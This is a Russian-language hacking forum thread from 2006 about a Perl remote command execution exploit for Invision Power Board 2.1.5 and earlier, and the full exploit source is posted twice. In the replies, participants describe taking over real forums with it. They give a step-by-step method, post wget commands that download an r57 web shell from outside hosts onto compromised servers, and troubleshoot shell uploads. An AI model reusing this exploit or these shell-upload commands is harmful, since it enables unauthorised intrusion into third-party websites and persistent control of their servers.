PDA

Просмотр полной версии : IPB 2.1.5 RST (DimaHbl4 edition)


DimaHbl4
21.06.2006, 14:20
Вот я тут сплойт от RST поправил, в котором higlite.
Не забываем отписыватся..... И благодарить в виде +.

#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host = $opt_h;
$dir = $opt_d;
$login = $opt_l;
$password = $opt_p;
$forum = $opt_f;
$version = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~] SERVER : $host\r\n";
print "[~] PATH : $dir\r\n";
print "[~] LOGIN : $login\r\n";
print "[~] PASSWORD : $password\r\n";
print "[~] TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";

{
print "\r\nCommand for execute or 'exit' for exit ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
$len = length($cmd);
for ($i=0; $i<$len; $i++)
{
$s = substr($cmd,$i,1);
$out.="chr(".ord($s).")";
if($i != $len-1)
{
$out.=".";
}

}
$out = "$out)."."chr(59).exit";
}

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[+] SID: $sid\r\n";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
{
print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
}
else
{
print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
}
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/) { $md5_check = $1; last; }
if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
}
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'eval(system('.$out.'()); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Wazzzup&TopicDesc=&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/Location:/) { $created = 1; last; }
}
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=eval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
{
if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
}

if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00';
print "Go to URL:\n ".$host.$dir.$get."";

sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
print " eDiTeD by DimaHbl4\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
}

sub usage()
{
print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
print "<host> - host where IPB installed e.g www.ipb.com\r\n";
print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
print "<login> - login of any exist user\r\n";
print "<password> - and password too )\r\n";
print "<forum> - number of forum where user can create topic e.g 2,4, etc\r\n";
print "<version> - forum version:\r\n";
print " 0 - 2.0.*\r\n";
print " 1 - 2.1.*\r\n";
exit();
}

# milw0rm.com [2006-04-26]

bl4ck-cat
21.06.2006, 14:27
# milw0rm.com [2006-04-26] О_о
или моя чтонить непонимать?

зы: ты код от киддисов поправил?

AoD
21.06.2006, 15:04
Вот я тут сплойт от RST поправил, в котором higlite.
Не забываем отписыватся..... И благодарить в виде +.



И зачем?

Rebz
21.06.2006, 15:18
выдели другим цветом тот отрезок кода, который ты поправил.

Dracula4ever
21.06.2006, 15:25
# milw0rm.com [2006-04-26]

А что ты поправил?

DimaHbl4
21.06.2006, 15:34
И зачем?
AoD
Для 2ух целей :
1. Руками много форумов не уделаешь..... Устаешь.
2. Для тех кто руками не могет.


#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host = $opt_h;
$dir = $opt_d;
$login = $opt_l;
$password = $opt_p;
$forum = $opt_f;
$version = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~] SERVER : $host\r\n";
print "[~] PATH : $dir\r\n";
print "[~] LOGIN : $login\r\n";
print "[~] PASSWORD : $password\r\n";
print "[~] TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";

{
print "\r\nCommand for execute or 'exit' for exit ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
$len = length($cmd);
for ($i=0; $i<$len; $i++)
{
$s = substr($cmd,$i,1);
$out.="chr(".ord($s).")";
if($i != $len-1)
{
$out.=".";
}

}
$out = "$out)."."chr(59).exit";
}

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[+] SID: $sid\r\n";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
{
print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
}
else
{
print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
}
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/) { $md5_check = $1; last; }
if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
}
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'eval(system('.$out.'()); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Wazzzup&TopicDesc=&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/Location:/) { $created = 1; last; }
}
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=eval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
{
if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
}

if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00';
print "Go to URL:\n ".$host.$dir.$get."";

sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
print " eDiTeD by DimaHbl4\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
}

sub usage()
{
print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
print "<host> - host where IPB installed e.g www.ipb.com\r\n";
print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
print "<login> - login of any exist user\r\n";
print "<password> - and password too )\r\n";
print "<forum> - number of forum where user can create topic e.g 2,4, etc\r\n";
print "<version> - forum version:\r\n";
print " 0 - 2.0.*\r\n";
print " 1 - 2.1.*\r\n";
exit();
}



Просто я инклуд убрал, и вставил просто system.... Итог получается ссылкой по ней идешь, и все видишь че просил))
P.S Подумаешь копирайт milw0rm не убрал...

А че никто не отписывается?

CMD
21.06.2006, 17:18
Кароче вроде хеши получаю но тему не создает =)
Вот скрин http://cmd.interwave.ru/cmd.bmp

DimaHbl4
21.06.2006, 17:49
CMD
Рядом с надписью "Command for execute or 'exit' for exit" нужно вводить команду, а не просто жжать Enter.

CMD
22.06.2006, 00:22
И какие команды вводить перепробывал все нифига он на 2.1.5 работает ?

DimaHbl4
22.06.2006, 05:33
Я тестил на 2.1.4

CMD
22.06.2006, 11:54
Жаль что не 2.1.5.
А я уже так надеялся =)
Мне кароче надо чуток в их базе поправить а не как не выходит =)

Nova
22.06.2006, 12:42
ты ручками юзай чтоб катило =)

на 2.0.1 у кого нибудь прокатывало ?

.Slip
22.06.2006, 13:49
Да, минус ставить не надо было...) Тогда бы просто + не ставил, раз не считаешь нужным.
Не забываем отписыватся..... И благодарить в виде +.
Такое ощущение, что если бы небыло репы на форуме, вообще бы ничего не делал. Как будто всё только из за репы.

DimaHbl4
22.06.2006, 13:54
[sL1p]
Не забываем отписыватся..... И благодарить в виде +.
Ты просто пойми репа не главное.... Ведь все ровно хочется чтоб как нибудь поблагодарили.Ведь за любую работу должно быть пощрение.

.Slip
22.06.2006, 14:01
Да, конечно понимаю. Это подразумевается. Но явно так это писать не стоит. Тогда наоборот пропадает желание поставить +. Сужу по себе, не знаю как у других с этим делом. Всё, флейм off. Больше здесь не пишу. Остальное, если надо, то через ПМ.

Nova
22.06.2006, 14:43
Я то поменял - на + но хватит репу клянчить а то в следующий раз не сниму !

DimaHbl4
22.06.2006, 15:17
Nova
Только что это обсудили это выше с [sL1p].
Все забыли, проехали....

CMD
22.06.2006, 16:17
Можеш написать команды которые у тебя работали ?

DimaHbl4
22.06.2006, 16:46
Все......
Проверено на командах
pwd
ls (и все его разновидности типа ls -l)
curl
wget
Мне больше и не надо, этого вполне достаточно чтоб залить шелл.

N.B.
Когда урл копируешь по которому пройти надо, смотри внимательней, т.к. в консоле он на разных строчках, и в этих местах образуется пробелы.
Совет.......Сначала этот урл скопируй в блокнот убери 1 пробел потом ткни END и нажми Delete, потом опыть повтори эту операцию.

CMD
22.06.2006, 16:58
Нипонимаю тейстил на многих форумах пишет месанджаре креаче (ФАйлед)
Начинает уже бесить =)

DimaHbl4
22.06.2006, 17:09
CMD
Ты пойми что на некоторых форумах создание сообщения запрещено в опредленном топике....Или пока ты не активизируешся.

Лично я при помощи этого сплойта около 5 форумов заимел.
3 шага к успеху:
1)Заходи на форум регимся.
2)Через сплойт узнаем путь (команда pwd)
3)Льем шелл в путь/cache

Вот и все.

Dracula4ever
22.06.2006, 17:12
DimaHbl4 Если ты так всем нравишся тогда я тебе тоже репу подниму :-)

CMD
23.06.2006, 11:11
http://gamescenter.ru/index.php?showtopic=158&pid=987&st=0&#entry987Вот только это бойда вышла и то при нагрузке на базу я в 6 окон твоим exploit'ом фигачил =)

DimaHbl4
23.06.2006, 11:27
Там версия 2.1.5 на ней не работает..... Или она проста пропатчена на эту дырку.
Я ж тебе писал что тестил на 2.1.4

CMD
23.06.2006, 15:47
Там версия 2.1.5 на ней не работает..... Или она проста пропатчена на эту дырку.
Я ж тебе писал что тестил на 2.1.4
А тему зачем так назвал ?
твой RST и на 2.1.3 непашет (проверял только на нормальных форумах).
Этот баг только на чистых форумах пашет.

k1L0gRaM
23.06.2006, 15:58
Ахтунг!!!Пацаны...подскажите плз....как заоить шелл...???с помощью какой команды?И поподробней плз=))


И ещё....вот когда я пишу команду pwd , прохожу по ссылке , и у меян там какой то код появляецо...чё с ним делать?куда пихать? :confused:

CMD
23.06.2006, 16:41
Дайте мне хоть 1 ссылку на форум где этот код работает +)
У всех норм форумах авторизация.

CMD
24.06.2006, 19:59
Все я разобрался он и на 2.1.5 работает спосибо всем кто помог.
Баг в том что он не работает на чётных темах работает только на нечетных =)
Осталось найти нормальный шел =)

CMD
24.06.2006, 22:32
А куда лучше заливать r57 shell а то через аваторку не катит =)

lobster
25.06.2006, 01:36
народ плиз обьясните попподробнее че дальше делать? я начинающий и поэтому сильно ногами не пинайте! очень хочеться чтобы получилось!

вот что я имею:
http://img61.imageshack.us/img61/9120/1232ud.jpg

а дальше что делать не пойму :(
близ обьясните!

CMD
25.06.2006, 13:51
как пользоватся wget вот это правильная команда ?
Command for execute or 'exit' for exit wget http://rst.void.ru/download/r57shell
.txt -O /cache/r57.php

DimaHbl4
25.06.2006, 23:36
wget -o /tmp/file.c http://site.ru/file.c

Про качалки getfile (http://flop-ik.narod.ru/getfile.txt)

CMD
26.06.2006, 13:29
Незнаю чето не получается может нельзя загружать r57.php ? пробывал грузить в разные паки как говорится нифига..............

CMD
26.06.2006, 13:32
Когда я загружу шел ченить должно выдать ? а то у меня появляется чистая страница

Goudini
26.06.2006, 14:15
вот что я имею:
http://img61.imageshack.us/img61/9120/1232ud.jpg
а дальше что делать не пойму :(
близ обьясните!
А по ссылке переходить не пробовал?

DimaHbl4
26.06.2006, 14:34
Когда я загружу шел ченить должно выдать ? а то у меня появляется чистая страница
Конечно должна быть чистая, т.к. написать он тебе ничего не может. Теперь проверя место куда лил шелл.

CMD
26.06.2006, 15:21
Конечно должна быть чистая, т.к. написать он тебе ничего не может. Теперь проверя место куда лил шелл.
чето тут не то =)
зацените я сначало обрадовался (http://usefullsite.net/r57.php)
потом проверил веселело и вчем тут прикол ? (http://usefullsite.net/r57.php.1)

ysmat
25.08.2006, 08:35
я пробовал заливать шелл
командой wget -o /home/serge/brunets/forum/1.php http://fudobat.narod.ru/1.php
в результате шелл залился но не совсем нормально
создались два файла 1.php и 1.php.1
в первом weget что то расказывает о скорости заливки и.т.п :)
вот его содержание
--05:59:56-- http://fudobat.narod.ru/1.php
=> `1.php.1'
Resolving fudobat.narod.ru... 213.180.199.27
Connecting to fudobat.narod.ru[213.180.199.27]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 106,099 [application/octet-stream]

0K .......... .......... .......... .......... .......... 48% 40.80 KB/s
50K .......... .......... .......... .......... .......... 96% 35.00 KB/s
100K ... 100% 9.63 KB/s

06:00:04 (34.20 KB/s) - `1.php.1' saved [106,099/106,099

1.php.1 является собственно шеллом
как изменить команду чтобы шелл загружался
без всяких излишеств

SanyaX
25.08.2006, 09:28
Зачем полный путь указываешь?? Зайди в папку любую пропиши wget www.lo.ru/shell.php. И всё. А про твою команду командой wget -o /home/serge/brunets/forum/1.php http://fudobat.narod.ru/1.php. Имхо писать надо так командой wget -o /home/serge/brunets/forum/ http://fudobat.narod.ru/1.php.

Talisman
25.08.2006, 09:38
или выполни щас команду: mv 1.php.1 1.php